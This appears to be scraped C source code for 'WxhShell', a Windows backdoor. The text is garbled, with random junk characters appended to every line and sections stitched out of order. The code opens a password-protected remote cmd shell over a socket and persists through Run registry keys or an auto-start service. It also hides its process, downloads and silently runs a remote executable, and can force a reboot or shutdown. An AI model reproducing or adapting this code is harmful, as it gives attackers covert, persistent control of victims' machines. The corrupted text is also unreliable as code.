    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Epm\ =s  
    else { eRC /Pr  
    closesocket(wsh); zcGeXX}V?  
    ExitThread(0); k zhek >  
    } n*6b*fl  
    break; k+>-?S,  
    } AZ)H/#be  
  // 获取shell @[0zZX2EE  
  case 's': { =`5Xx(  
    CmdShell(wsh); rn l~i  
    closesocket(wsh); g{@q  
    ExitThread(0); + #gJ[Cc  
    break; +'abAST t  
  } :\x)`lu  
  // 退出 N"2Ire  
  case 'x': { JcEPwF.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VnUW UIVJ  
    CloseIt(wsh); OWsK>egD  
    break; ?5e:w?&g@  
    }  ?[Od.  
  // 离开 $m`?x5rL8  
  case 'q': { O/^7TBTn<r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 75~>[JM  
    closesocket(wsh); ffK A  
    WSACleanup(); x^kV;^ I  
    exit(1); :ND5po#(  
    break; *TY?*H  
        } ANEW^\  
  } =Mb!&qq  
  } c&.>SR')  
V`Z-m-V~1  
  // 提示信息 *.wX9g9\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K &m`1f  
} umrfA  
  } Bk&ry)`gD  
Q=lQy  
  return; w,dDA2,  
} xJ>U_Gd  
rvZXK<@#+  
// shell模块句柄 l5ww-#6Z  
int CmdShell(SOCKET sock) bCY8CIF  
{ tz-, |n0  
STARTUPINFO si; ec/1Z8}p  
ZeroMemory(&si,sizeof(si)); =$6z1] ;3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \Tf845  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; smQ<lwA  
PROCESS_INFORMATION ProcessInfo; =Jfo=`da  
char cmdline[]="cmd"; e&zZr]vs]l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4QODuyl2H  
  return 0; !Mp.jE  
} y@"6Dt|  
(j;s6g0  
// 自身启动模式 62~8>71;'  
int StartFromService(void) W'x/Kg,w-  
{ 6p%;:mDB  
typedef struct p`lv$ @q'  
{ 5y;texsj[  
  DWORD ExitStatus; -@{5 u d  
  DWORD PebBaseAddress; !E<y:$eH:  
  DWORD AffinityMask; e;9Z/);#s  
  DWORD BasePriority; }p 0 \  
  ULONG UniqueProcessId; HV@ C@wmg  
  ULONG InheritedFromUniqueProcessId; Su99A.w  
}   PROCESS_BASIC_INFORMATION; Vo^ i7  
1e.V%!Xk  
PROCNTQSIP NtQueryInformationProcess; m,KG}KX  
/1ZRjf^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cl kL)7RQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Lu,72i0O ^  
Tg|0!0qD]F  
  HANDLE             hProcess; zKB$n.H  
  PROCESS_BASIC_INFORMATION pbi; 2TB>d+  
ssGp:{]v/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $d 2mcwh\  
  if(NULL == hInst ) return 0; 1+|s   
t'Zq>y;yg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wlk{V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mm(Ff>O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mOG;[CB  
?-w<H!Y7  
  if (!NtQueryInformationProcess) return 0; 4lMf'V7*l  
K TJm[44  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U^iNOMs?  
  if(!hProcess) return 0; K*^3FO}JG  
CN4Q++{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JgQ,,p_V?  
4X tIMa28  
  CloseHandle(hProcess); aMdWT4  
EM9K^l`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &Z!O   
if(hProcess==NULL) return 0; -?L~\WJAL  
KwO;ICdJ  
HMODULE hMod; jd]Om r!  
char procName[255]; w1tWyKq  
unsigned long cbNeeded; 6U|An*  
s`Z | A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .!|\Y!]^r  
XS+2OutVo  
  CloseHandle(hProcess); E Dh$UB)  
y&;ytNG&<  
if(strstr(procName,"services")) return 1; // 以服务启动 _Q)rI%A2  
SB"Uu2)wZ  
  return 0; // 注册表启动 Zi'}qs$v  
} LbCcOkL/@@  
aX CVC<l  
// 主模块 e$'|EE.=q+  
int StartWxhshell(LPSTR lpCmdLine) h"R{{y f2  
{ }7)iLfi  
  SOCKET wsl; E6+c{41B  
BOOL val=TRUE; wD+4#=/j  
  int port=0; L\;n[,.  
  struct sockaddr_in door; k# -u!G  
ndW]S7  
  if(wscfg.ws_autoins) Install(); _{$eOwB  
r"HQ>Wn  
port=atoi(lpCmdLine); "u29| OY  
pjG/`  
if(port<=0) port=wscfg.ws_port; 'Lm\ r+$F  
9BW"^$  
  WSADATA data; p1}umDb%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rjk{9u1a"  
u*n%cXY;J/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JK.<(=y\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q8d-yJs&  
  door.sin_family = AF_INET; 1nGpW$Gx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2h=QJgpCG  
  door.sin_port = htons(port); Z'hHXSXM  
!q]@/<=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /:S&1'=  
closesocket(wsl); 2Kg-ZDK8  
return 1; nulLK28q  
} 3 UXaA;  
vca]yK<u  
  if(listen(wsl,2) == INVALID_SOCKET) { b { M'aV  
closesocket(wsl); $W_sIS0\z  
return 1; OoIs'S-Z#  
} 4$W}6 v  
  Wxhshell(wsl); ( AI gW  
  WSACleanup(); c+a"sx\  
yyZs[5Q  
return 0;  (zIWJJw  
1s\   
} qnO>F^itF  
r2b_$  
// 以NT服务方式启动 $0[t<4K`yn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #{f%b,.yxt  
{ bX*>Zm   
DWORD   status = 0; Kg8n3pLAX  
  DWORD   specificError = 0xfffffff; bf4QW JZD  
A!GQ4.~%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k[ZkVwx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hiT&QJB` _  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4CH/~b1 (  
  serviceStatus.dwWin32ExitCode     = 0; .:wo ARW!  
  serviceStatus.dwServiceSpecificExitCode = 0; W)~}o<a)[  
  serviceStatus.dwCheckPoint       = 0; @1c[<3xJ T  
  serviceStatus.dwWaitHint       = 0; g.,_E4L  
Gf<f#.5y ,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eVRPjVzQ'Q  
  if (hServiceStatusHandle==0) return; 9_Ws8nE  
,S V34+(  
status = GetLastError(); FTJvkcc?m  
  if (status!=NO_ERROR) UI]UxEJ  
{ ?GT,Y5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i:/Ws1=q  
    serviceStatus.dwCheckPoint       = 0; q+ZN$4m  
    serviceStatus.dwWaitHint       = 0; OyG#  
    serviceStatus.dwWin32ExitCode     = status; *4 HogC  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~~iFs ,9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pu OAt  
    return; a[ Y\5Ojm  
  } hI6Tp>b*~  
H$M{thW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BJ*8mKi h  
  serviceStatus.dwCheckPoint       = 0; 1`q>*S](  
  serviceStatus.dwWaitHint       = 0; n=iL6Yu(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (8Inf_59  
} 0wE)1w<C~  
[sc4ULS &  
// 处理NT服务事件,比如:启动、停止 {kOTQG?y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8M6wc394  
{ &P:2`\'  
switch(fdwControl) <FofRFaS  
{ uXuA4o$t-  
case SERVICE_CONTROL_STOP: N~! G AaD  
  serviceStatus.dwWin32ExitCode = 0; sZh| <2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lHI?GiB@  
  serviceStatus.dwCheckPoint   = 0; Y'U]!c9  
  serviceStatus.dwWaitHint     = 0; n4A#T#D!t3  
  { /RBIZ_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +@mgb4_  
  } *|*6 q/  
  return; \ $Q?  
case SERVICE_CONTROL_PAUSE: qBDhCE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .~Gt=F+`s  
  break; Vjqs\  
case SERVICE_CONTROL_CONTINUE: N@x5h8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W6&mXJ^3L  
  break; fN_Ilg)t?5  
case SERVICE_CONTROL_INTERROGATE: ozUsp[W>  
  break; WB|N)3-1  
}; @.8FVF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `gE_u  
} kP[LS1}*  
aB^`3J  
// 标准应用程序主函数 2]'cj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +Ua.\1"6  
{ dw YGhhm  
6}JW- sA  
// 获取操作系统版本 LB\+*P6QM  
OsIsNt=GetOsVer(); ;=lQMKx0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @!KG;d:l  
UZ-[vD1n  
  // 从命令行安装 Wagb|B\  
  if(strpbrk(lpCmdLine,"iI")) Install(); /I~(*X  
$,8}3R5}  
  // 下载执行文件 J/>9w  
if(wscfg.ws_downexe) { ["BD,mB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G_v^IM#B=  
  WinExec(wscfg.ws_filenam,SW_HIDE); ojbms>a  
} i~ITRi@  
7*C>4Gs  
if(!OsIsNt) { Jq8:33s   
// 如果时win9x,隐藏进程并且设置为注册表启动 <7*d2  
HideProc(); W{X5~w(  
StartWxhshell(lpCmdLine); 8dlhL8#  
} C+vk9:"  
else Xmv^O  
  if(StartFromService()) @$R^-_m  
  // 以服务方式启动 \rSofn#c  
  StartServiceCtrlDispatcher(DispatchTable); p"|0PlW  
else ?F^O7\rw  
  // 普通方式启动 6QX2&[qWS  
  StartWxhshell(lpCmdLine); z|v/h UrD  
5-! Zm]  
return 0; Q=?YY-*$  
} \qw1\-q  
q vGP$g  
[W Ud9fUL  
z+{Q(8'b]  
=========================================== v<:/u(i  
m~RMe9Qi  
W0\ n?$ZC~  
b@ OF  
bF c %  
ve*m\DU  
" & d@N3y  
[;$9s=:[  
#include <stdio.h> ;t \C!A6  
#include <string.h> KvNw'3Ua  
#include <windows.h> i'MpS  
#include <winsock2.h> V!zU4!@qP  
#include <winsvc.h> m/p:W/0L  
#include <urlmon.h> eD)@:K  
:$^cY>o  
#pragma comment (lib, "Ws2_32.lib") c3!YA"5  
#pragma comment (lib, "urlmon.lib") r#\Lq;+-B  
=q<t,UP8  
#define MAX_USER   100 // 最大客户端连接数 ^ Q  
#define BUF_SOCK   200 // sock buffer #sb@)Q  
#define KEY_BUFF   255 // 输入 buffer LDY k\[81  
x.ucsb  
#define REBOOT     0   // 重启 w'&QNm>  
#define SHUTDOWN   1   // 关机 m98w0D@Ee  
Z3N^)j8  
#define DEF_PORT   5000 // 监听端口 ;hCUy=m.  
-^WW7 g`  
#define REG_LEN     16   // 注册表键长度 nRh.;G  
#define SVC_LEN     80   // NT服务名长度 NflRNu:-  
9PWqoz2c  
// 从dll定义API 2SJ|$VsLaE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JB9s# `  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vxl!`$Pi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C~c|};&%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e6 a]XO^  
]z"7v  
// wxhshell配置信息 -jcgxQH53  
struct WSCFG { FSHC\8siS  
  int ws_port;         // 监听端口 a n|bzG  
  char ws_passstr[REG_LEN]; // 口令 qV:TuR-|w  
  int ws_autoins;       // 安装标记, 1=yes 0=no #iAw/a0&  
  char ws_regname[REG_LEN]; // 注册表键名 2}kJN8\F  
  char ws_svcname[REG_LEN]; // 服务名 .M>g`UW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )5Ofr-Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ldRisL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]Nb~-)t%B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2A(IsUtqO:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DNGj81'c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Fg^Z g\X3  
+W^$my)<  
}; +.IncY8C$  
@9\L|O'~?  
// default Wxhshell configuration #s0Wx47~  
struct WSCFG wscfg={DEF_PORT, k'PNfx\K  
    "xuhuanlingzhe", `c/mmS  
    1, fB`7f $[  
    "Wxhshell", l]F)]>AE  
    "Wxhshell", hDD]Kc;G^1  
            "WxhShell Service", llRQxk  
    "Wrsky Windows CmdShell Service", \!s0H_RJY  
    "Please Input Your Password: ", }= (|3 \v  
  1, \>)#cEX5  
  "http://www.wrsky.com/wxhshell.exe", 1MxO((k  
  "Wxhshell.exe" #GIjU1-  
    }; )|IMhB+4  
Tu7sA.73k  
// 消息定义模块 *7^w}v+.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U{Moyj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4j}uVGi{e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?vV&tqnx%  
char *msg_ws_ext="\n\rExit."; mE"},ksg  
char *msg_ws_end="\n\rQuit."; |\J! x|xy  
char *msg_ws_boot="\n\rReboot..."; xv~E wT)  
char *msg_ws_poff="\n\rShutdown..."; 0` UrB:  
char *msg_ws_down="\n\rSave to "; DW0UcLO  
t+2,;G  
char *msg_ws_err="\n\rErr!"; N\W4LO6  
char *msg_ws_ok="\n\rOK!"; 4<q'QU#l<  
q*d@5  
char ExeFile[MAX_PATH]; ZGC*BP/  
int nUser = 0; >NAg*1  
HANDLE handles[MAX_USER]; S%2qX"8  
int OsIsNt; <S(`e/#[  
7(]M`bBH  
SERVICE_STATUS       serviceStatus; H@V+Q}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !R3ZyZcX  
9s`j@B0N57  
// 函数声明 m$80D,3  
int Install(void); #ByrX\  
int Uninstall(void); z-`-0@/A$  
int DownloadFile(char *sURL, SOCKET wsh); GCv*a[8?n  
int Boot(int flag); EbMG9  
void HideProc(void); Erq% Ck(  
int GetOsVer(void); *;Gnod<  
int Wxhshell(SOCKET wsl); BiCC72oig  
void TalkWithClient(void *cs); Z Ne(sg~G  
int CmdShell(SOCKET sock); =SpD6 9-H  
int StartFromService(void); G ,? l o=m  
int StartWxhshell(LPSTR lpCmdLine); ZmzYJ$:6  
2t 1u{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UwVc!Lys  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W~2T/~M  
q.Vcb!*$  
// 数据结构和表定义 ]}s'`44J9e  
SERVICE_TABLE_ENTRY DispatchTable[] = 4A\>O?\  
{ FiW>kTM8  
{wscfg.ws_svcname, NTServiceMain}, ))eQZ3ap9  
{NULL, NULL} N!YjMx)P  
}; ,B||8W9  
Fv2U@n6'v  
// 自我安装 I'a&n}j x  
int Install(void) Olltu"u  
{ x5"F`T>Y  
  char svExeFile[MAX_PATH]; bYB:Fe=2  
  HKEY key; ~-K<gT/  
  strcpy(svExeFile,ExeFile); ~pve;(e=  
5_E,x  
// 如果是win9x系统,修改注册表设为自启动 ,'^^OLez  
if(!OsIsNt) { j6r.HYX!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I>(-&YbC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >w)A~ F<  
  RegCloseKey(key); x'hUw*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PBY ^m+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mYw9lM  
  RegCloseKey(key); .jvRUD8A7  
  return 0; m5\/7 VC  
    } :+$/B N:iO  
  } EViQB.3w\  
} >cRE$d?  
else { GK8x<Aq%z  
>do3*ko A  
// 如果是NT以上系统,安装为系统服务 ;@ lC08SE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gz@/:dW^vZ  
if (schSCManager!=0) IPEJ7 n49  
{ O\ph!?L  
  SC_HANDLE schService = CreateService Hsvu&>[`S  
  ( XR.Sm<A[  
  schSCManager, 02 6|u|R  
  wscfg.ws_svcname, ,BuEX#ZaBl  
  wscfg.ws_svcdisp, Az4a|.  
  SERVICE_ALL_ACCESS, NkL>ru!b9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J~(M%] &k^  
  SERVICE_AUTO_START, -wUw)gJbM  
  SERVICE_ERROR_NORMAL, C|H/x\?zRv  
  svExeFile, *7:HO{P>Y  
  NULL, j/*4Wj[  
  NULL, Q=T/hb  
  NULL, CZ.XEMN\  
  NULL, { ((|IvP`  
  NULL aFtL_# U  
  ); mCQn '{)  
  if (schService!=0) <[w>Mbqj_  
  { ("5Eed  
  CloseServiceHandle(schService); 9&7$oI$!J  
  CloseServiceHandle(schSCManager); hB 36o9|9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OF/DI)j3  
  strcat(svExeFile,wscfg.ws_svcname); mjXO}q7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [lbe_G;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g@][h_? {  
  RegCloseKey(key); M<VZISu)dy  
  return 0; (J,^)!g7  
    } ,!'L~{  
  } iQj2aK Gs  
  CloseServiceHandle(schSCManager); M@?,nzs K  
} ?K/N{GK%{  
} ITf, )?|]Y  
\Cz uf   
return 1; %.`<ud  
} sUTh}.[5  
|T;NoWO+  
// 自我卸载 fjwUh>[ }  
int Uninstall(void) h:l4:{A64  
{ A57e]2_  
  HKEY key; DC6xet{  
>p,FAz>  
if(!OsIsNt) { ^,WXvOy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _|qs-USA  
  RegDeleteValue(key,wscfg.ws_regname); WEVV2BJ  
  RegCloseKey(key); /C"?Y'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5U5)$K'OA  
  RegDeleteValue(key,wscfg.ws_regname); ,a1 1&"xl  
  RegCloseKey(key); u&\QZW?  
  return 0; ,8/Con|o  
  } 3D*vNVI  
} ;0 No@G;z  
} zb=L[2;  
else { >+8Kl`2sw;  
cJ#|mzup  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hm+,o_+  
if (schSCManager!=0) B9Y*'hmI  
{ iZbY@-3fc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P]wCC`qi  
  if (schService!=0) 'v V |un(6  
  { $`O%bsjX  
  if(DeleteService(schService)!=0) { 2\, h "W(  
  CloseServiceHandle(schService); \$%q< _l  
  CloseServiceHandle(schSCManager);  Lkl+f~m  
  return 0; wdzZ41y1  
  } -D-]tL6w  
  CloseServiceHandle(schService); b2p;-rv  
  } >t Ll|O+  
  CloseServiceHandle(schSCManager); 1e(Q I) ~  
} 0^ IHBN?9  
} bL9EX$P  
?!d\c(5Gt  
return 1; 0z1UF{{  
} k),!%6\(  
N5Rda2m  
// 从指定url下载文件 =SqI# v  
int DownloadFile(char *sURL, SOCKET wsh) HJ+I;OJ  
{ vE=)qn=a  
  HRESULT hr; {YzRf S  
char seps[]= "/"; y %4G[Dz  
char *token; 1p|}=R  
char *file; vbT,! cEm  
char myURL[MAX_PATH]; ^:F |2  
char myFILE[MAX_PATH]; r"uOf;m  
X5`#da  
strcpy(myURL,sURL); 9u&q{I  
  token=strtok(myURL,seps); _J+p[=[L  
  while(token!=NULL) Q $5U5hb  
  { 2&Hn%q)  
    file=token; +o7Np| Ou  
  token=strtok(NULL,seps); 7UzbS,$x  
  } @cz\'v6E  
a$K.Or}  
GetCurrentDirectory(MAX_PATH,myFILE); = ^OXP+o  
strcat(myFILE, "\\"); j9XRC9   
strcat(myFILE, file); f#3U,n8:  
  send(wsh,myFILE,strlen(myFILE),0); aHzS>  
send(wsh,"...",3,0); R]y[n;aGC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FPB O=?H.  
  if(hr==S_OK) tF@hH}{;  
return 0; 6x$1En  
else }q~M$  
return 1; =|_{J"sv  
*#n?6KqZ  
} 4gRt^T-?  
RO10$1IW.2  
// 系统电源模块 sVjM^y24  
int Boot(int flag) (" ,(@nS  
{ Oi~ ]~+2  
  HANDLE hToken; @C34^\aH+  
  TOKEN_PRIVILEGES tkp; ^A"TY  
vUa&9Y  
  if(OsIsNt) { 5`?'}_[Yj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hve'Z,X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i& ,Wg8#R  
    tkp.PrivilegeCount = 1; F7r!zKXZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0M^v%2 2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xct{Tv[FO  
if(flag==REBOOT) { y:>'1"2`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @! gJOy  
  return 0; >,V~-Tp  
} K4V\Jj1l  
else { f 4Yn=D=_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q#} 0pq  
  return 0; Cb5Rr +K=  
} 6zfi\(fop  
  } )`sEdVxbr  
  else { `l0&,]  
if(flag==REBOOT) { i{9_C/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) snW=9b)m  
  return 0; tAM t7p-  
} ~H)s>6>#v  
else { ygA~d9"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WHM|kt  
  return 0; N7b+GqYpF>  
} 6zGM[2  
} K Qz.g3,  
-/O_wqm#  
return 1; ^lp#j;Df  
} 2zz7/]?Q   
e[(XR_EY  
// win9x进程隐藏模块 mEUdJvSG(  
void HideProc(void) rrSsQq  
{ (<"uV%1  
S3G9/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \9%SR~  
  if ( hKernel != NULL ) c9c_7g'q-  
  { >)&]Ss5J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TI9]v(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hlr[x  
    FreeLibrary(hKernel); tlnU2TT_f  
  } XIAHUT5~J  
~rN:4Q]/  
return; ~KW|<n4m  
} k\qF> =  
Br,^4w[Hq  
// 获取操作系统版本 e;kH,fHUI3  
int GetOsVer(void) :&{:$-h!  
{ `|Wu\X  
  OSVERSIONINFO winfo; i`Tp +e@a>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w'/ Mn+  
  GetVersionEx(&winfo); ][jW2;A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l=*60Ag\J~  
  return 1; x2m*0D~  
  else Hj>(kL9H  
  return 0; W@vt6v  
} #c?xJ&bh  
<;R}dlBASW  
// 客户端句柄模块 ]f3eiHg*  
int Wxhshell(SOCKET wsl) j!It1B  
{ lD%Fk3  
  SOCKET wsh; !m* YPY31  
  struct sockaddr_in client; /:YM{,]  
  DWORD myID; $hn=MOMc  
j0XS12eM  
  while(nUser<MAX_USER) Y2j>@  
{ vH^6O:V  
  int nSize=sizeof(client); 'K L" i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nI63Ns  
  if(wsh==INVALID_SOCKET) return 1; (&W&1KT  
C[Ap&S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &7i o/d\/  
if(handles[nUser]==0) s?:&#  
  closesocket(wsh); c,K)*HB  
else Zt;dPYq>  
  nUser++; PLkwtDi+&  
  } %a_ rYrL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w=ib@_:f  
bK\Mn95]  
  return 0; TQ{rg2_T  
} Vw^2TRU  
T ke3X\|  
// 关闭 socket !>,\KxnM  
void CloseIt(SOCKET wsh) /f5*KRM  
{ Qcy /)4Hfg  
closesocket(wsh); LkUYh3  
nUser--; "}ms|  
ExitThread(0); Q1A_hW2x  
} Z4^O`yS9+  
m ll-cp  
// 客户端请求句柄 uX!5G:x]  
void TalkWithClient(void *cs) 5Hli@:B2s  
{ y&-1SP<  
SWX[|sjdB  
  SOCKET wsh=(SOCKET)cs; l8XgzaW  
  char pwd[SVC_LEN]; p>g5WebBN  
  char cmd[KEY_BUFF]; 6/%dD DU  
char chr[1]; [eWZ^Eh"I  
int i,j; VIXY?Ua  
a'[Ah2}3r<  
  while (nUser < MAX_USER) { xzZ2?z Wi  
T uk:: .jD  
if(wscfg.ws_passstr) { qy9RYIfZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @d+NeS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,EE,W0/zzM  
  //ZeroMemory(pwd,KEY_BUFF); YR 5C`o  
      i=0; P1r)n{;  
  while(i<SVC_LEN) { 6D=9J%;  
u%o]r9xl'  
  // 设置超时 u n)YK  
  fd_set FdRead; 3>~W_c9@  
  struct timeval TimeOut; Y#/mE!&  
  FD_ZERO(&FdRead); TbUouoc  
  FD_SET(wsh,&FdRead); Qb.Ve7c  
  TimeOut.tv_sec=8;  .J0Tn,m  
  TimeOut.tv_usec=0; XTibx;yd<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u . xUM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k Y}r^NaQA  
[1LlzCAFBw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pM|m*k  
  pwd=chr[0]; RjcU0$Hi  
  if(chr[0]==0xd || chr[0]==0xa) { )V6Bzn}9  
  pwd=0; DV8b<)  
  break; +2KYtyI  
  } sU|\? pJ  
  i++; M_OvIU(E  
    } cbton<r~  
?ufX3yia  
  // 如果是非法用户,关闭 socket )w t mc4'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R7nT,7k.  
} KBe\)Vs  
'{[n,xeR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8JFns-5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Lt%[dn  
]52.nxs~  
while(1) { XK";-7TZt  
=o!1}'1}}  
  ZeroMemory(cmd,KEY_BUFF); Q[wTV3d  
xA&RMu&  
      // 自动支持客户端 telnet标准   jDV;tEY#^  
  j=0; c)b/"  
  while(j<KEY_BUFF) { tF/)DZ.to  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zc`gm~@  
  cmd[j]=chr[0]; -J06H&/k  
  if(chr[0]==0xa || chr[0]==0xd) { X0}+X'3  
  cmd[j]=0; 6dN W2_  
  break; f*:DH4g }B  
  } |h7 d #V>  
  j++; 0E<xzYo  
    } M zRliH8e  
xk#q_!(j  
  // 下载文件 w|k?2 ?&  
  if(strstr(cmd,"http://")) { ~fht [S?@M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S{0iPdUC  
  if(DownloadFile(cmd,wsh)) ~OE1Sd:2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jQ"z\}Wf  
  else _ddOsg|U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a(eKb2CX  
  } NKSK+ll2  
